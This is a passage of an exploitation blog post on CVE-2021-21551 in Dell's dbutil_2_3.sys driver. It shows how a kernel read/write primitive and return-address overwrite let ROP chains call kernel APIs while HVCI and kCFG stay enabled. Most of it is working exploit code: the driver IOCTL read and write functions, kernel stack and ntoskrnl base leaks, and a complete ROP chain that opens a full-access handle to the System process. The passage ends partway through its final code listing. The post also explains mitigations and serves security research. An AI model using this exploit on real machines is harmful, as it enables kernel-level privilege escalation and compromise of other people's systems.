	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)1;
}

Again, we use getchar() to pause execution so we can inspect the thread before the process terminates. After executing the above exploit, we can see the ability to locate where nt!KiApcInterrupt + 0x328 exists on the stack.

We have now successfully located our target return address! Using our arbitrary write primitive, let’s overwrite the return address with 0x4141414141414141 - which should cause a system crash when our thread is resumed.

//
// Print update
//
printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

//
// Our ROP chain will start here
//
write64(inHandle, retAddr, 0x4141414141414141);

//
// Resume the thread to kick off execution
//
ResumeThread(dummyThread);

As we can see - our system has crashes and we control RIP! The system is attempting to return into the address 0x4141414141414141 - meaning we now control execution at the kernel level and we can now redirect execution into our ROP chain.

We also know the base address of ntoskrnl.exe, meaning we can resolve our needed ROP gadgets to arbitrarily invoke a kernel-mode API. Remember - just like DEP - ROP doesn’t actually execute unsigned code. We “resuse” existing signed code - which stays within the bounds of HVCI. Although it is a bit more arduous, we can still invoke arbitrary APIs - just like shellcode.

So let’s put together a proof-of-concept to arbitrarily call PsGetCurrentProcess - which should return a pointer to the EPROCESS structure associated with process housing the thread our ROP chain is executing in (our “dummy thread”). We also (for the purposes of showing it is possible) will save the result in a user-mode address so (theoretically) we could act on this object later.

Here is how our ROP chain will look.

This ROP chain places nt!PsGetCurrentProcess into the RAX register and then performs a jmp rax to invoke the function. This function doesn’t accept any parameters, and it returns a pointer to the current processes’ EPROCESS object. The calculation of this function’s address can be identified by calculating the offset from ntoskrnl.exe.

We can begin to debug the ROP chain by setting a breakpoint on the first pop rax gadget - which overwrites nt!KiApcInterrupt + 0x328.

After the pop rax occurs - nt!PsGetCurrentProcess is placed into RAX. The jmp rax gadget is dispatched - which invokes our call to nt!PsGetCurrentProcess (which is an extremely short function that only needs to index the KPRCB structure).

After completing the call to nt!PsGetCurrentProcess - we can see a user-mode address on the stack, which is placed into RCX and is used with a mov qword ptr [rcx], rax gadget.

This is a user-mode address supplied by us. Since nt!PsGetCurrentProcess returns a pointer to the current process (in the form of an EPROCESS object) - an attacker may want to preserve this value in user-mode in order to re-use the arbitrary write primitive and/or read primitive to further corrupt this object.

You may be thinking - what about Supervisor Mode Access Prevention (SMAP)? SMAP works similarly to SMEP - except SMAP doesn’t focus on code execution. SMAP prevents any kind of data access from ring 0 into ring 3 (such as copying a kernel-mode address into a user-mode address, or performing data access on a ring 3 page from ring 0). However, Windows only employs SMAP in certain situations - most notably when the processor servicing the data-operation is at an IRQL 2 and above. Since kernel-mode code runs at an IRQL of 0, this means SMAP isn’t “in play” - and therefore we are free to perform our data operation (saving the EPROCESS object into user-mode).

We have now completed the “malicious” call and we have successfully invoked an arbitrary API of our choosing - without needing to detonate any unsigned-code. This means we have stepped around HVCI by staying compliant with it (e.g. we didn’t turn HVCI off - we just stayed within the guidelines of HVCI). kCFG was bypassed in this instance (we took control of RIP) by overwriting a return address, similarly to my last blog series on browser exploitation. Intel CET in the Windows kernel would have prevent this from happening.

Since we are using ROP, we need to restore our execution now. This is due to the fact we have completely altered the state of the CPU registers and we have corrupted the stack. Since we have only corrupted the “dummy thread” - we simply can invoke nt!ZwTerminateThread, while passing in the handle of the dummy thread, to tell the Windows OS to do this for us! Remember - the “dummy thread” is only being used for the arbitrary API call. There are still other threads (the main thread) which actually executes code within Project2.exe. Instead of manually trying to restore the state of the “dummy thread” - and avoid a system crash - we simply can just ask Windows to terminate the thread for us. This will “gracefully” exit the thread, without us needing to manually restore everything ourselves.

nt!ZwTerminateThread accepts two parameters. It is an undocumented function, but it actually receives the same parameters as prototyped by its user-mode “cousin”, TerminateThread.

All we need to pass to nt!ZwTerminateThread is a handle to the “dummy thread” (the thread we want to terminate) and an NTSTATUS code (we will just use STATUS_SUCCESS, which is a value of 0x00000000). So, as we know, our first parameter needs to go into the RCX register (the handle to the “dummy thread”).

As we can see above, our handle to the dummy thread will be placed into the RCX register. After this is placed into the RCX register, our exit code for our thread (STATUS_SUCCESS, or 0x00000000) is placed into RDX.

Now we have our parameters setup for nt!ZwTerminateThread. All that there is left now is to place nt!ZwTerminateThread into RAX and to jump to it.

You’ll notice, however, that instead of hitting the jmp rax gadget - we hit another ret after the ret issued from the pop rax ; ret gadget. Why is this? Take a closer look at the stack.

When the jmp rax instruction is dispatched (nt!_guard_retpoline_indeirect_rax+0x5e) - the stack is in a 16-byte alignment (a 16-byte alignment means that the last two digits of the virtual address, e.g. 0xffffc789dd19d160, which would be 60, end with a 0). Windows API calls sometimes use the XMM registers, under the hood, which allow memory operations to be facilitated in 16-byte intervals. This is why when Windows API calls are made, they must (usually) be made in 16-byte alignments! We use the “extra” ret gadget to make sure that when jmp nt!ZwTerminateThread dispatches, that the stack is properly aligned.

From here we can execute nt!ZwTerminateThread.

From here we can press g in the debugger - as the Windows OS will gracefully exit us from the thread!

As we can see, we have our EPROCESS object in the user-mode cmd.exe console! We can cross-reference this address in WinDbg to confirm.

Parsing this address as an EPROCESS object, we can confirm via the ImageFileName that this is the EPROCESS object associated with our current process! We have successfully executed a kernel-mode function call, from user-mode (via our vulnerability), while not triggering kCFG or HVCI!

Bonus ROP Chain

Our previous nt!PsGetCurrentProcess function call outlined how it is possible to call kernel-mode functions via an arbitrary read/write primitive, from user-mode, without triggering kCFG and HVCI. Although we won’t step through each gadget, here is a “bonus” ROP chain that you could use, for instance, to open up a PROCESS_ALL_ACCESS handle to the System process with HVCI and kCFG enabled (don’t forget to declare CLIENT_ID and OBJECT_ATTRIBUTE structures!).

	//
	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

	//
	// Handle to the System process
	//
	HANDLE systemprocHandle = NULL;

	//
	// CLIENT_ID
	//
	CLIENT_ID clientId = { 0 };
	clientId.UniqueProcess = ULongToHandle(4);
	clientId.UniqueThread = NULL;

	//
	// Declare OBJECT_ATTRIBUTES
	//
	OBJECT_ATTRIBUTES objAttrs = { 0 };

	//
	// memset the buffer to 0
	//
	memset(&objAttrs, 0, sizeof(objAttrs));

	//
	// Set members
	//
	objAttrs.ObjectName = NULL;
	objAttrs.Length = sizeof(objAttrs);
	
	//
	// Begin ROP chain
	//
	write64(inHandle, retAddr, ntBase + 0xa50296);				// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x8, &systemprocHandle);		// HANDLE (to receive System process handle)
	write64(inHandle, retAddr + 0x10, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x18, PROCESS_ALL_ACCESS);		// PROCESS_ALL_ACCESS
	write64(inHandle, retAddr + 0x20, ntBase + 0x2e8281);		// 0x1402e8281: pop r8 ; ret ; \x41\x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x28, &objAttrs);				// OBJECT_ATTRIBUTES
	write64(inHandle, retAddr + 0x30, ntBase + 0x42a123);		// 0x14042a123: pop r9 ; ret ; \x41\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x38, &clientId);				// CLIENT_ID
	write64(inHandle, retAddr + 0x40, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x48, ntBase + 0x413210);		// nt!ZwOpenProcess
	write64(inHandle, retAddr + 0x50, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	write64(inHandle, retAddr + 0x58, ntBase + 0xa50296);		// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x60, (ULONG64)dummyThread);	// HANDLE to the dummy thread
	write64(inHandle, retAddr + 0x68, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x70, 0x0000000000000000);		// Set exit code to STATUS_SUCCESS
	write64(inHandle, retAddr + 0x78, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x80, ntBase + 0x4137b0);		// nt!ZwTerminateThread
	write64(inHandle, retAddr + 0x88, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	
	//
	// Resume the thread to kick off execution
	//
	ResumeThread(dummyThread);

	//
	// Sleep Project2.exe for 1 second to allow the print update
	// to accurately display the System process handle
	//
	Sleep(1000);

	//
	// Print update
	//
	printf("[+] System process HANDLE: 0x%p\n", systemprocHandle);

What’s nice about this technique is the fact that all parameters can be declared in user-mode using C - meaning we don’t have to manually construct our own structures, like a CLIENT_ID structure, in the .data section of a driver, for instance.

Conclusion

I would say that HVCI is easily one of the most powerful mitigations there is. As we saw - we actually didn’t “bypass” HVCI. HVCI mitigates unsigned-code execution in the VTL 0 kernel - which is something we weren’t able to achieve. However, Microsoft seems to be dependent on Kernel CET - and when you combine kCET, kCFG, and HVCI - only then do you get coverage against this technique.

HVCI is probably not only the most complex mitigation I have looked at, not only is it probably the best, but it taught me a ton about something I didn’t know (hypervisors). HVCI, even in this situation, did its job and everyone should please go and enable it! When coupled with CET and kCFG - it will make HVCI resilient against this sort of attack (just like how MBEC makes HVCI resilient against PTE modification).

It is possible to enable kCET if you have a supported processor - as in many cases it isn’t enabled by default. You can do this via regedit.exe by adding a value called Enabled - which you need to set to 1 (as a DWORD) - to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\KernelShadowStacks key. Shoutout to my coworker Yarden Shafir for showing me this! Thanks for tuning in!

Here is the final code (nt!ZwOpenProcess).

Definitions in ntdll.h:

#include <Windows.h>
#include <Psapi.h>
#include <time.h>

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemPathInformation,
    SystemProcessInformation,
    SystemCallCountInformation,
    SystemDeviceInformation,
    SystemProcessorPerformanceInformation,
    SystemFlagsInformation,
    SystemCallTimeInformation,
    SystemModuleInformation,
    SystemLocksInformation,
    SystemStackTraceInformation,
    SystemPagedPoolInformation,
    SystemNonPagedPoolInformation,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPageFileInformation,
    SystemVdmInstemulInformation,
    SystemVdmBopInformation,
    SystemFileCacheInformation,
    SystemPoolTagInformation,
    SystemInterruptInformation,
    SystemDpcBehaviorInformation,
    SystemFullMemoryInformation,
    SystemLoadGdiDriverInformation,
    SystemUnloadGdiDriverInformation,
    SystemTimeAdjustmentInformation,
    SystemSummaryMemoryInformation,
    SystemMirrorMemoryInformation,
    SystemPerformanceTraceInformation,
    SystemObsolete0,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemExtendServiceTableInformation,
    SystemPrioritySeperation,
    SystemVerifierAddDriverInformation,
    SystemVerifierRemoveDriverInformation,
    SystemProcessorIdleInformation,
    SystemLegacyDriverInformation,
    SystemCurrentTimeZoneInformation,
    SystemLookasideInformation,
    SystemTimeSlipNotification,
    SystemSessionCreate,
    SystemSessionDetach,
    SystemSessionInformation,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemVerifierThunkExtend,
    SystemSessionProcessInformation,
    SystemLoadGdiDriverInSystemSpace,
    SystemNumaProcessorMap,
    SystemPrefetcherInformation,
    SystemExtendedProcessInformation,
    SystemRecommendedSharedDataAlignment,
    SystemComPlusPackage,
    SystemNumaAvailableMemory,
    SystemProcessorPowerInformation,
    SystemEmulationBasicInformation,
    SystemEmulationProcessorInformation,
    SystemExtendedHandleInformation,
    SystemLostDelayedWriteInformation,
    SystemBigPoolInformation,
    SystemSessionPoolTagInformation,
    SystemSessionMappedViewInformation,
    SystemHotpatchInformation,
    SystemObjectSecurityMode,
    SystemWatchdogTimerHandler,
    SystemWatchdogTimerInformation,
    SystemLogicalProcessorInformation,
    SystemWow64SharedInformation,
    SystemRegisterFirmwareTableInformationHandler,
    SystemFirmwareTableInformation,
    SystemModuleInformationEx,
    SystemVerifierTriageInformation,
    SystemSuperfetchInformation,
    SystemMemoryListInformation,
    SystemFileCacheInformationEx,
    MaxSystemInfoClass

} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[256];
} SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void* Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

// Prototype for ntdll!NtQuerySystemInformation
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
//
// CVE-2021-21551 (HVCI-compliant)
// Author: Connor McGarr (@33y0re)
//

#include "ntdll.h"
#include <stdio.h>

//
// Vulnerable IOCTL codes
//
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

//
// NTSTATUS codes
//
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_SUCCESS 0x00000000

/**
 * @brief Function to arbitrarily read kernel memory.
 *
 * This function is able to take kernel mode memory, dereference it
 * and return it to user-mode.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param WHAT - The kernel-mode memory to be dereferenced/read.
 * @return The dereferenced contents of the kernel-mode memory.

 */
ULONG64 read64(HANDLE inHandle, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (read primitive)
	//
	ULONG64 inBuf[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one = 0x4141414141414141;
	ULONG64 two = WHAT;
	ULONG64 three = 0x0000000000000000;
	ULONG64 four = 0x0000000000000000;

	//
	// Assign the values
	//
	inBuf[0] = one;
	inBuf[1] = two;
	inBuf[2] = three;
	inBuf[3] = four;

	//
	// Interact with the driver
	//
	DWORD bytesReturned = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_READ_CODE,
		&inBuf,
		sizeof(inBuf),
		&inBuf,
		sizeof(inBuf),
		&bytesReturned,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return the QWORD
		//
		return inBuf[3];
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return an error
	//
	return (ULONG64)1;
}

/**
 * @brief Function used to arbitrarily write to kernel memory.
 *
 * This function is able to take kernel mode memory
 * and write user-supplied data to said memory
 * 1 QWORD (ULONG64) at a time.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param WHERE - The data the user wishes to write to kernel mode.
 * @param WHAT - The kernel-mode memory to be written to.
 * @return Result of the operation in the form of a boolean.
 */
BOOL write64(HANDLE inHandle, ULONG64 WHERE, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (write primitive)
	//
	ULONG64 inBuf1[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one1 = 0x4141414141414141;
	ULONG64 two1 = WHERE;
	ULONG64 three1 = 0x0000000000000000;
	ULONG64 four1 = WHAT;

	//
	// Assign the values
	//
	inBuf1[0] = one1;
	inBuf1[1] = two1;
	inBuf1[2] = three1;
	inBuf1[3] = four1;

	//
	// Interact with the driver
	//
	DWORD bytesReturned1 = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_WRITE_CODE,
		&inBuf1,
		sizeof(inBuf1),
		&inBuf1,
		sizeof(inBuf1),
		&bytesReturned1,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return TRUE
		//
		return TRUE;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return FALSE (arbitrary write failed)
	//
	return FALSE;
}

/**
 * @brief Function to obtain a handle to the dbutil_2_3.sys driver.
 * @param Void.
 * @return The handle to the driver.
 */
HANDLE getHandle(void)
{
	//
	// Obtain a handle to the driver
	//
	HANDLE driverHandle = CreateFileA(
		"\\\\.\\DBUtil_2_3",
		FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
		0x0,
		NULL,
		OPEN_EXISTING,
		0x0,
		NULL
	);

	//
	// Error handling
	//
	if (driverHandle == INVALID_HANDLE_VALUE)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the driver handle
		//
		return driverHandle;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

/**
 * @brief Function used for LPTHREAD_START_ROUTINE
 *
 * This function is used by the "dummy thread" as
 * the entry point. It isn't important, so we can
 * just make it "return"
 *
 * @param Void.
 * @return Void.
 */
void randomFunction(void)
{
	return;
}

/**
 * @brief Function used to create a "dummy thread"
 *
 * This function creates a "dummy thread" that is suspended.
 * This allows us to leak the kernel-mode stack of this thread.
 *
 * @param Void.
 * @return A handle to the "dummy thread"
 */
HANDLE createdummyThread(void)
{
	//
	// Invoke CreateThread
	//
	HANDLE dummyThread = CreateThread(
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)randomFunction,
		NULL,
		CREATE_SUSPENDED,
		NULL
	);

	//
	// Error handling
	//
	if (dummyThread == (HANDLE)-1)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the handle to the thread
		//
		return dummyThread;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

/**
 * @brief Function to resolve ntdll!NtQuerySystemInformation.
 *
 * This function is used to resolve ntdll!NtQuerySystemInformation.
 * ntdll!NtQuerySystemInformation allows us to leak kernel-mode
 * memory, useful to our exploit, to user mode from a medium
 * integrity process.
 *
 * @param Void.
 * @return A pointer to ntdll!NtQuerySystemInformation.

 */
NtQuerySystemInformation_t resolveFunc(void)
{
	//
	// Obtain a handle to ntdll.dll (where NtQuerySystemInformation lives)
	//
	HMODULE ntdllHandle = GetModuleHandleW(L"ntdll.dll");

	//
	// Error handling
	//
	if (ntdllHandle == NULL)
	{
		// Bail out
		goto exit;
	}

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t func = (NtQuerySystemInformation_t)GetProcAddress(
		ntdllHandle,
		"NtQuerySystemInformation"
	);

	//
	// Error handling
	//
	if (func == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Print update
		//
		printf("[+] ntdll!NtQuerySystemInformation: 0x%p\n", func);

		//
		// Return the address
		//
		return func;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return (NtQuerySystemInformation_t)1;
}

/**
 * @brief Function used to leak the KTHREAD object
 *
 * This function leverages NtQuerySystemInformation (by
 * calling resolveFunc() to get NtQuerySystemInformation's
 * location in memory) to leak the KTHREAD object associated
 * with our previously created "dummy thread"
 *
 * @param dummythreadHandle - A handle to the "dummy thread"
 * @return A pointer to the KTHREAD object
 */
ULONG64 leakKTHREAD(HANDLE dummythreadHandle)
{
	//
	// Set the NtQuerySystemInformation return value to STATUS_INFO_LENGTH_MISMATCH for call to NtQuerySystemInformation
	//
	NTSTATUS retValue = STATUS_INFO_LENGTH_MISMATCH;

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t NtQuerySystemInformation = resolveFunc();

	//
	// Error handling
	//
	if (NtQuerySystemInformation == (NtQuerySystemInformation_t)1)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to resolve ntdll!NtQuerySystemInformation. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Set size to 1 and loop the call until we reach the needed size
	//
	int size = 1;

	//
	// Output size
	//
	int outSize = 0;

	//
	// Output buffer
	//
	PSYSTEM_HANDLE_INFORMATION out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

	//
	// Error handling
	//
	if (out == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// do/while to allocate enough memory necessary for NtQuerySystemInformation
	//
	do
	{
		//
		// Free the previous memory
		//
		free(out);

		//
		// Increment the size
		//
		size = size * 2;

		//
		// Allocate more memory with the updated size
		//
		out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

		//
		// Error handling
		//
		if (out == NULL)
		{
			//
			// Bail out
			//
			goto exit;
		}

		//
		// Invoke NtQuerySystemInformation
		//
		retValue = NtQuerySystemInformation(
			SystemHandleInformation,
			out,
			(ULONG)size,
			&outSize
		);
	} while (retValue == STATUS_INFO_LENGTH_MISMATCH);

	//
	// Verify the NTSTATUS code which broke the loop is STATUS_SUCCESS
	//
	if (retValue != STATUS_SUCCESS)
	{
		//
		// Is out == NULL? If so, malloc failed and we can't free this memory
		// If it is NOT NULL, we can assume this memory is allocated. Free
		// it accordingly
		//
		if (out != NULL)
		{
			//
			// Free the memory
			//
			free(out);

			//
			// Bail out
			//
			goto exit;
		}

		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// NtQuerySystemInformation should have succeeded
		// Parse all of the handles, find the current thread handle, and leak the corresponding object
		//
		for (ULONG i = 0; i < out->NumberOfHandles; i++)
		{
			//
			// Store the current object's type number
			// Thread object = 0x8
			//
			DWORD objectType = out->Handles[i].ObjectTypeNumber;

			//
			// Are we dealing with a handle from the current process?
			//
			if (out->Handles[i].ProcessId == GetCurrentProcessId())
			{
				//
				// Is the handle the handle of the "dummy" thread we created?
				//
				if (dummythreadHandle == (HANDLE)out->Handles[i].Handle)
				{
					//
					// Grab the actual KTHREAD object corresponding to the current thread
					//
					ULONG64 kthreadObject = (ULONG64)out->Handles[i].Object;

					//
					// Free the memory
					//
					free(out);

					//
					// Return the KTHREAD object
					//
					return kthreadObject;
				}
			}
		}
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle to the "dummy thread"
	//
	CloseHandle(
		dummythreadHandle
	);

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)retValue;
}

/**
 * @brief Function used resolve the base address of ntoskrnl.exe.
 * @param Void.
 * @return ntoskrnl.exe base
 */
ULONG64 resolventBase(void)
{
	//
	// Array to receive kernel-mode addresses
	//
	LPVOID* lpImageBase = NULL;

	//
	// Size of the input array
	//
	DWORD cb = 0;

	//
	// Size of the array output (all load addresses).
	//
	DWORD lpcbNeeded = 0;

	//
	// Invoke EnumDeviceDrivers (and have it fail)
	// to receive the needed size of lpImageBase
	//
	EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// lpcbNeeded should contain needed size
	//
	lpImageBase = (LPVOID*)malloc(lpcbNeeded);

	//
	// Error handling
	//
	if (lpImageBase == NULL)
	{
		//
		// Bail out
		// 
		goto exit;
	}

	//
	// Assign lpcbNeeded to cb (cb needs to be size of the lpImageBase
	// array).
	//
	cb = lpcbNeeded;

	//
	// Invoke EnumDeviceDrivers properly.
	//
	BOOL getAddrs = EnumDeviceDrivers(
		lpImageBase,
		cb,
		&lpcbNeeded
	);

	//
	// Error handling
	//
	if (!getAddrs)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// The first element of the array is ntoskrnl.exe.
	//
	return (ULONG64)lpImageBase[0];

//
// Execution reaches here if an error occurs
//
exit:

	//
	// Return an error.
	//
	return (ULONG64)1;
}

/**
 * @brief Function used write a ROP chain to the kernel-mode stack
 *
 * This function takes the previously-leaked KTHREAD object of
 * our "dummy thread", extracts the StackBase member of the object
 * and writes the ROP chain to the kernel-mode stack leveraging the
 * write64() function.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param dummyThread - A valid handle to our "dummy thread" in order to resume it.
 * @param KTHREAD - The KTHREAD object associated with the "dummy" thread.
 * @param ntBase - The base address of ntoskrnl.exe.
 * @return Result of the operation in the form of a boolean.
 */
BOOL constructROPChain(HANDLE inHandle, HANDLE dummyThread, ULONG64 KTHREAD, ULONG64 ntBase)
{
	//
	// KTHREAD.StackBase = KTHREAD + 0x38
	//
	ULONG64 kthreadstackBase = KTHREAD + 0x38;

	//
	// Dereference KTHREAD.StackBase to leak the stack
	//
	ULONG64 stackBase = read64(inHandle, kthreadstackBase);

	//
	// Error handling
	//
	if (stackBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Leaked kernel-mode stack: 0x%llx\n", stackBase);

	//
	// Variable to store our target return address for nt!KiApcInterrupt
	//
	ULONG64 retAddr = 0;

	//
	// Leverage the arbitrary write primitive to read the entire contents of the stack (seven pages = 0x7000)
	// 0x7000 isn't actually commited, so we start with 0x7000-0x8, since the stack grows towards the lower
	// addresses.
	//
	for (int i = 0x8; i < 0x7000 - 0x8; i += 0x8)
	{
		//
		// Invoke read64() to dereference the stack
		//
		ULONG64 value = read64(inHandle, stackBase - i);

		//
		// Kernel-mode address?
		//
		if ((value & 0xfffff00000000000) == 0xfffff00000000000)
		{
			//
			// nt!KiApcInterrupt+0x328?
			//
			if (value == ntBase + 0x41b718)
			{
				//
				// Print update
				//
				printf("[+] Leaked target return address of nt!KiApcInterrupt!\n");

				//
				// Store the current value of stackBase - i, which is nt!KiApcInterrupt+0x328
				//
				retAddr = stackBase - i;

				//
				// Break the loop if we find our address
				//
				break;
			}
		}

		//
		// Reset the value
		//
		value = 0;
	}

	//
	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

	//
	// Handle to the System process
	//
	HANDLE systemprocHandle = NULL;

	//
	// CLIENT_ID
	//
	CLIENT_ID clientId = { 0 };
	clientId.UniqueProcess = ULongToHandle(4);
	clientId.UniqueThread = NULL;

	//
	// Declare OBJECT_ATTRIBUTES
	//
	OBJECT_ATTRIBUTES objAttrs = { 0 };

	//
	// memset the buffer to 0
	//
	memset(&objAttrs, 0, sizeof(objAttrs));

	//
	// Set members
	//
	objAttrs.ObjectName = NULL;
	objAttrs.Length = sizeof(objAttrs);
	
	//
	// Begin ROP chain
	//
	write64(inHandle, retAddr, ntBase + 0xa50296);				// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x8, &systemprocHandle);		// HANDLE (to receive System process handle)
	write64(inHandle, retAddr + 0x10, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x18, PROCESS_ALL_ACCESS);		// PROCESS_ALL_ACCESS
	write64(inHandle, retAddr + 0x20, ntBase + 0x2e8281);		// 0x1402e8281: pop r8 ; ret ; \x41\x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x28, &objAttrs);				// OBJECT_ATTRIBUTES
	write64(inHandle, retAddr + 0x30, ntBase + 0x42a123);		// 0x14042a123: pop r9 ; ret ; \x41\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x38, &clientId);				// CLIENT_ID
	write64(inHandle, retAddr + 0x40, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x48, ntBase + 0x413210);		// nt!ZwOpenProcess
	write64(inHandle, retAddr + 0x50, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	write64(inHandle, retAddr + 0x58, ntBase + 0xa50296);		// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x60, (ULONG64)dummyThread);	// HANDLE to the dummy thread
	write64(inHandle, retAddr + 0x68, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x70, 0x0000000000000000);		// Set exit code to STATUS_SUCCESS
	write64(inHandle, retAddr + 0x78, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x80, ntBase + 0x4137b0);		// nt!ZwTerminateThread
	write64(inHandle, retAddr + 0x88, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	
	//
